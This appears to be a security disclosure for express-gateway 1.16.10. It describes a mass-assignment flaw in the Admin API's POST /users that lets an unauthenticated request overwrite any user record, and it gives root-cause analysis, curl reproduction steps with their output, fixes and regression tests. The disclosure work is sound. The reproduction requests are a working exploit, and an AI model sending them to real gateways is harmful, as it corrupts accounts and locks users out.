Repository navigation
Description
Admin API POST /users mass assignment: client-controlled id silently overwrites existing users and bypasses the update allowlist
Version : express-gateway 1.16.10 (HEAD a294cac)
Type : Mass assignment / broken object-level authorization (write)
Weakness: CWE-915 (primary), CWE-639, CWE-73, CWE-284
Severity: HIGH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L = 8.2 as shipped
MEDIUM — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L = 5.5 once the Admin API is authenticated
Status : Reproduced 2026-10-03 against a byte-identical pristine default configuration
Summary
POST /users forwards the request body unchanged into validateAndCreateUser(), which generates a
server-side id and then lets the client overwrite it via Object.assign. Uniqueness is enforced
for username only, the datastore layer uses HMSET (merge) rather than create-if-absent, and
the strict property allowlist that guards the update path is never applied to the create path.
Any user record can therefore be silently overwritten by anyone who can reach the Admin API — which,
under the shipped default configuration, is anyone who can reach the gateway port. The overwritten
record then serves attacker-controlled attributes, unknown properties are persisted, and fields the
product deems non-updatable (isActive) become writable, allowing account lockout.
Affected component
| # | File / line | Problem |
|---|---|---|
| 1 | lib/services/consumers/user.service.js:153 |
user = Object.assign(baseUserProps, newUser); — client id/isActive win |
| 2 | lib/services/consumers/user.service.js:143-149 |
Uniqueness checked for username only; never for id |
| 3 | lib/config/models/users.json |
No additionalProperties: false (grep count = 0) — unknown keys pass AJV |
| 4 | lib/services/consumers/user.dao.js:16 |
hmset(redisUserKey, user) merges instead of failing on collision |
| 5 | user.service.js:163-177 vs 135-161 |
Allowlist validateUpdateToUserProperties applied to update, not to create |
| 6 | lib/rest/routes/users.js |
POST accepts req.body verbatim; the same pattern exists on /apps |
Reachability: POST /users is served by the Admin API (lib/rest/index.js:34), and the shipped
gateway.config.yml proxies that Admin API onto the public gateway port with key-auth disabled,
so the route is reachable with no credentials.
Description
POST /users → validateAndCreateUser(req.body):
const baseUserProps = { isActive: 'true', username: _user.username, id: uuidv4() };
user = Object.assign(baseUserProps, newUser); // client `id` / `isActive` / unknown keys winFour independent defects combine:
- Client-controlled key.
Object.assignafterid: uuidv4()means a suppliedidreplaces
the generated one. - No uniqueness check on
id. Onlyusernameis checked (user.service.js:146), so a
duplicateidnever triggers409. - Merge-on-write.
user.dao.js:16useshmset, which merges the hash instead of failing, so
the existing record is mutated in place — fields not supplied survive, producing a corrupted
half-victim/half-attacker record. - Divergent validation.
validateUpdateToUserProperties(lines 163-177) enforces a strict
allowlist and rejectsisActive:falsewith500 one or more properties is invalid; the create
path never calls it, soPOSTaccepts the very same fields with200.
Root cause
| # | Location | Defect |
|---|---|---|
| 1 | user.service.js:153 |
Object.assign(baseUserProps, newUser) — client overrides server-generated fields |
| 2 | user.service.js:143-149 |
Uniqueness enforced for username only |
| 3 | user.dao.js:16 |
hmset merges; no create-if-absent semantics |
| 4 | lib/config/models/users.json |
No additionalProperties: false |
| 5 | user.service.js:163-177 vs 135-161 |
Allowlist on update, absent on create |
| 6 | — | Username→ID index never repaired when username changes (dangling set members) |
Preconditions
- Reachability of the Admin API. Under the shipped default this is the public gateway port with
no credentials (the shippedgateway.config.ymlproxies the Admin API onto the gateway with
key-authdisabled); otherwise admin credentials are needed. - Knowledge of a target UUID — freely enumerable with
GET /users. - Not required: Redis (shipped default is
emulate: true), victim interaction, restart,
knowledge of internal hostnames.
Steps to reproduce
Environment: Kali Linux
6.19.14+kali-amd64, Nodev24.19.0, gateway*:8080
(EG_CONFIG_DIRpointing at a byte-identical copy oflib/config,
sha256 170ddfced63dbb92614fd51eaa19721cee9f5d610833e47ca8fef83652cf5275).
Transcript:/tmp/opencode/reverify-ac-evidence.txt
[1] Create a victim
curl -s -X POST http://192.168.233.130:8080/users -H 'Content-Type: application/json' \
-d '{"username":"victim-rv","firstname":"Vic","lastname":"Tim","email":"victim-rv@example.com"}'{"isActive":true,"username":"victim-rv","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
"firstname":"Vic","lastname":"Tim","email":"victim-rv@example.com",
"createdAt":"Sat Oct 03 2026 15:01:39 GMT-0400 (Eastern Daylight Time)",
"updatedAt":"Sat Oct 03 2026 15:01:39 GMT-0400 (Eastern Daylight Time)"}[2] Victim BEFORE — GET /users/eabbccc6-…
{"isActive":true,"username":"victim-rv","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
"firstname":"Vic","lastname":"Tim","email":"victim-rv@example.com", …}[3] ATTACK — POST /users reusing the victim's id (no Authorization header)
curl -i -X POST http://192.168.233.130:8080/users -H 'Content-Type: application/json' \
-d '{"id":"eabbccc6-fb67-45da-abcb-f5dd90335687","username":"attacker-own",
"firstname":"Evil","lastname":"Actor","isActive":false,"injected":"pwned"}'
HTTP 200[4] Victim AFTER — same id
{"isActive":false,"username":"attacker-own","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
"firstname":"Evil","lastname":"Actor","email":"victim-rv@example.com",
"createdAt":"Sat Oct 03 2026 15:01:40 GMT-0400 (Eastern Daylight Time)",
"updatedAt":"Sat Oct 03 2026 15:01:40 GMT-0400 (Eastern Daylight Time)",
"injected":"pwned"}[5] The victim's own username lookup now serves the attacker's record —
GET /users/victim-rv
{"isActive":false,"username":"attacker-own","id":"eabbccc6-fb67-45da-abcb-f5dd90335687",
…,"injected":"pwned"}[6] CONTROL — the update path refuses exactly what create accepts
PUT /users/eabbccc6-… {"isActive":false} -> HTTP 500 one or more properties is invalid
[7] CONTROL — username is unique, id is not
POST with duplicate username -> HTTP 409
POST with duplicate id -> HTTP 200 <- the vulnerability
What each observation proves
| Observation | Consequence |
|---|---|
POST with an existing id → 200, record mutated |
Silent overwrite of any user |
email survived while other fields were replaced |
HMSET merge → corrupted half-record |
injected:"pwned" persisted |
Arbitrary unknown properties accepted on create |
isActive:false accepted by POST, 500 by PUT |
The update allowlist is bypassed |
dup id → 200 vs dup username → 409 |
No id uniqueness check exists |
GET /users/victim-rv returns attacker data |
Username→ID mapping now resolves to attacker attributes |
Expected vs actual behavior
| Expected | Actual |
|---|---|
POST with an existing id → 409 Conflict |
200 OK, existing record mutated |
id generated server-side only, client value ignored |
Client-supplied id wins |
| Same field rules on create and update | Divergent: isActive:false → 500 on PUT, 200 on POST |
| Unknown properties rejected | Persisted ("injected":"pwned") |
| Username index stays 1:1 | Overwriting username leaves a dangling old mapping, never repaired (even by DELETE) |
| Collision detected | hmset silently merges |
Security impact
- Integrity loss on consumer records for any deployment where the Admin API is reachable.
- Identity confusion:
findByUsernameOrId(used by the routes themselves) now returns
attacker-controlled attributes for the victim's username, so anything keyed on
username/email/redirectUri/custom properties acts on attacker data. - Account lockout:
isActive:falseon a sharediddisables login for every username mapped
to it (lib/services/auth.js:75requiresconsumer.isActive). - Allowlist bypass: fields the product deems non-updatable become writable via create.
- Data corruption: dangling
EG-username:<old>set members are never repaired. - Full anonymity under the shipped default: every request above can be sent with no
credentials at all, because the Admin API is proxied onto the public gateway port without
authentication. - Residual impact once the Admin API requires authentication: an admin already has
PUT/DELETEon users, so reachability is no longer the issue. What remains distinct is the
input-validation failure itself — a caller authorised to create users can modify and lock out
arbitrary existing ones, including fields the update API refuses to set, with no conflict
detection. That is a privilege and integrity boundary the product otherwise tries to enforce.
Source code analysis
lib/rest/routes/users.js
POST '/' -> usersService.validateAndCreateUser(req.body) // body verbatim
lib/services/consumers/user.service.js:135-161 validateAndCreateUser
:143 const baseUserProps = { isActive:'true', username:_user.username, id: uuidv4() };
:146 if (!user.username) …
:147 return serviceDao.get(user.username).then(existing => {
:148 if (existing) return Promise.reject({ statusCode: 409, … 'username already exists' });
:149 });
:151 … AJV validate (no additionalProperties:false)
:153 user = Object.assign(baseUserProps, newUser); // client id wins
:157 return dao.insert(user) …
lib/services/consumers/user.service.js:163-177 validateUpdateToUserProperties // strict allowlist
(never called from the create path)
lib/services/consumers/user.dao.js
:16 return redis.hmset(redisUserKey, user); // merge, no existence check
:132 findByUsernameOrId → EG-username:<x> → id → EG-user:<id>
lib/config/models/users.json schema has NO "additionalProperties": false
Data flow:
POST /users {"id":<victimId>, …, "isActive":false, "injected":"pwned"}
-> AJV (permissive) -> pass
-> Object.assign(baseUserProps, …) -> id = victimId
-> uniqueness(username) -> pass (new username)
-> dao.insert -> HMSET EG-user:<victimId> -> merge over existing hash
-> 200 + mutated record
Reproduction environment
| Item | Value |
|---|---|
| OS / arch | Kali Linux, 6.19.14+kali-amd64, x86_64 |
| Node.js / npm | v24.19.0 / 11.19.0 |
| Gateway instance | EG_CONFIG_DIR=/tmp/eg node lib/index.js (byte-identical shipped config) |
| Listeners | gateway *:8080, admin [::1]:9876 |
| Hosts used | 192.168.233.130:8080 (LAN), 127.0.0.1, ::1 |
| Datastore | in-process emulate: true (no Redis needed) |
| Evidence | /tmp/opencode/reverify-ac-evidence.txt, /tmp/opencode/finding-c-evidence.txt |
No third-party or external system was contacted or tested at any point.
False-positive checks
| Check | Result |
|---|---|
Does PUT allow this? |
No — PUT returns 500 one or more properties is invalid (control 6) |
| Is it cross-namespace (users vs apps)? | No — checked EG-user: / EG-app: / EG-<type>:<consumerId> key spaces; the collision is within the same record type |
Is additionalProperties actually open? |
Yes — grep -c additionalProperties lib/config/models/users.json = 0 |
Does the schema id field restrict reuse? |
No pattern/format preventing reuse |
Is hmset really merge? |
Yes — verified by the surviving email field |
| Prior reports | Issue-tracker search (mass assignment, duplicate id) → none; repository security-advisories endpoint → [] |
Suggested fix
-
Strip server-managed keys before validation:
const { id, isActive, createdAt, updatedAt, ...rest } = _user; // never trust these on create
-
Enforce key uniqueness — check
EG-user:<id>(or use RedisHSETNX) and return409on
collision instead of merging. -
Run the same property allowlist on create as on update
(validateUpdateToUserProperties). -
Add
"additionalProperties": falsetolib/config/models/users.json(and the applications /
credentials models —/appshas the same pattern). -
Make
dao.insertfail on collision; never merge an insert. -
Keep the username index consistent:
sremthe old mapping,saddthe new one. -
Authenticate the Admin API — otherwise every Admin-API endpoint, including this one, is
reachable anonymously and the validation defect above becomes a one-request attack.
Operator mitigation (no code change): authenticate the Admin API (after which this requires
admin credentials and the practical severity drops to 5.5) and monitor POST /users traffic for
repeated id values.
Regression test
const request = require('supertest'), assert = require('assert');
it('POST /users with an existing id returns 409 and does not modify the record', async () => {
const victim = (await request(admin).post('/users')
.send({ username: 'victim-ma', firstname: 'V', lastname: 'M' })).body;
const r = await request(admin).post('/users')
.send({ id: victim.id, username: 'attacker-ma', firstname: 'X', lastname: 'Y' });
assert.strictEqual(r.status, 409);
const after = await request(admin).get(`/users/${victim.id}`);
assert.strictEqual(after.body.username, 'victim-ma');
});
it('POST /users ignores a client-supplied id for a NEW user', async () => {
const r = await request(admin).post('/users')
.send({ id: 'ffffffff-0000-0000-0000-000000000000', username: 'new-ma', firstname: 'A', lastname: 'B' });
assert.ok(r.body.id !== 'ffffffff-0000-0000-0000-000000000000');
});
it('POST /users rejects isActive and unknown properties (parity with PUT)', async () => {
const r = await request(admin).post('/users')
.send({ username: 'par-ma', firstname: 'A', lastname: 'B', isActive: false, injected: 'x' });
assert.ok([400, 422].includes(r.status), `got ${r.status}`);
});Notes
- Confirmed locally only. All traffic targeted
192.168.233.130:8080,127.0.0.1and::1;
no external system was contacted. - Novelty: no prior report of this finding in the project's issue tracker; the repository's
security-advisoriesendpoint returns[]. - Project status: officially deprecated/unmaintained (README notice, issue #1011).
- Scope note: scored as two figures (8.2 as shipped / 5.5 once the Admin API requires
authentication) so the residual risk is clear even after the reachability is fixed.
Activity